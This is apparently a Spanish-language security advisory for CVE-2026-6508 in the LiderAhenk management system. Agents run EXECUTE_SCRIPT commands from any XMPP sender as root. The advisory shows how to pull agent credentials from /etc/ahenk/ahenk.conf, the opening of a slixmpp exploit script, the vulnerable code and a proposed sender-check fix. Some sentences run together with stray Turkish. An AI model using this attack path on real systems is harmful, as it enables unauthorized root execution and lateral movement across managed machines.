
Vulnerabilidad de seguridad crítica en la arquitectura del Sistema de Gestión Central LiderAhenk (CVE-2026-6508) que permite a todos los clientes ejecutar código con privilegios 'root' entre unidades terminales (agents), habilitando ejecución remota de código no autorizada y movimiento lateral (unauthorized rce & lateral movement).
EvilAhenk, en la arquitectura del Sistema de Administración Central LiderAhenk, es una vulnerabilidad de seguridad crítica que permite la ejecución de código con privilegios 'root' entre todas las unidades terminales (agentes) (RCE no autorizado y Movimiento Lateral).
En LiderAhenk, el panel de administración/servidor central envía mensajes de tareas y políticas a los clientes a través de XMPP.
ahenk en los clientes también se conectan a la misma infraestructura XMPP,EXECUTE_POLICY, EXECUTE_TASK o EXECUTE_SCRIPT al cliente objetivoPor lo tanto, XMPP es el canal de transporte del tráfico de administración. Los comandos del panel central normalmente viajan a los clientes a través de este canal.
Flujo esperado:
Lider/Ahenk yonetim paneli -> XMPP sunucusu -> hedef agent
Flujo vulnerable:
ct-2 es un cliente válido conectado al mismo servidor XMPPct-2 envía un mensaje EXECUTE_SCRIPT a través del servidor XMPP dirigido al JID de ct-1ct-1ct-1 ejecuta el comando sin verificar si el mensaje realmente proviene de lider_sunucuahenk.service se ejecuta como rootct-2 veya baska bir XMPP hesabi -> XMPP sunucusu -> ct-1 agent -> root komut
Por lo tanto, no estamos hackeando la capa XMPP. El servidor XMPP realiza el enrutamiento normal de mensajes. El problema es que el agente Ahenk en ct-1 no verifica si el mensaje proviene realmente de una cuenta de administración autorizada.
pip install slixmpp
Desde un cliente comprometido y conectado al sistema de administración central, se recopila información como la siguiente:
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
Ejemplo de salida;
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
Actualizamos el archivo Main.py según la información obtenida, dominio im.liderahenk.org, uid objetivo pardus-ct-1
- XMPP user: `[email protected]`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Objetivo predeterminado: `[email protected]`
El comando a ejecutar en la máquina víctima se puede modificar cambiando la variable COMMAND.
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
En repos/ahenk/src/base/messaging/messenger.py, el mensaje entrante se procesa solo según el campo type. No hay verificación del remitente autorizado en msg['from']:
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
En repos/ahenk/src/base/execution/execution_manager.py, EXECUTE_SCRIPT va directamente a la ejecución del comando:
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
Cuando estas dos partes se combinan, el efecto es el siguiente:
EXECUTE_SCRIPT sin verificar el remitentePosible corrección de diseño;
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))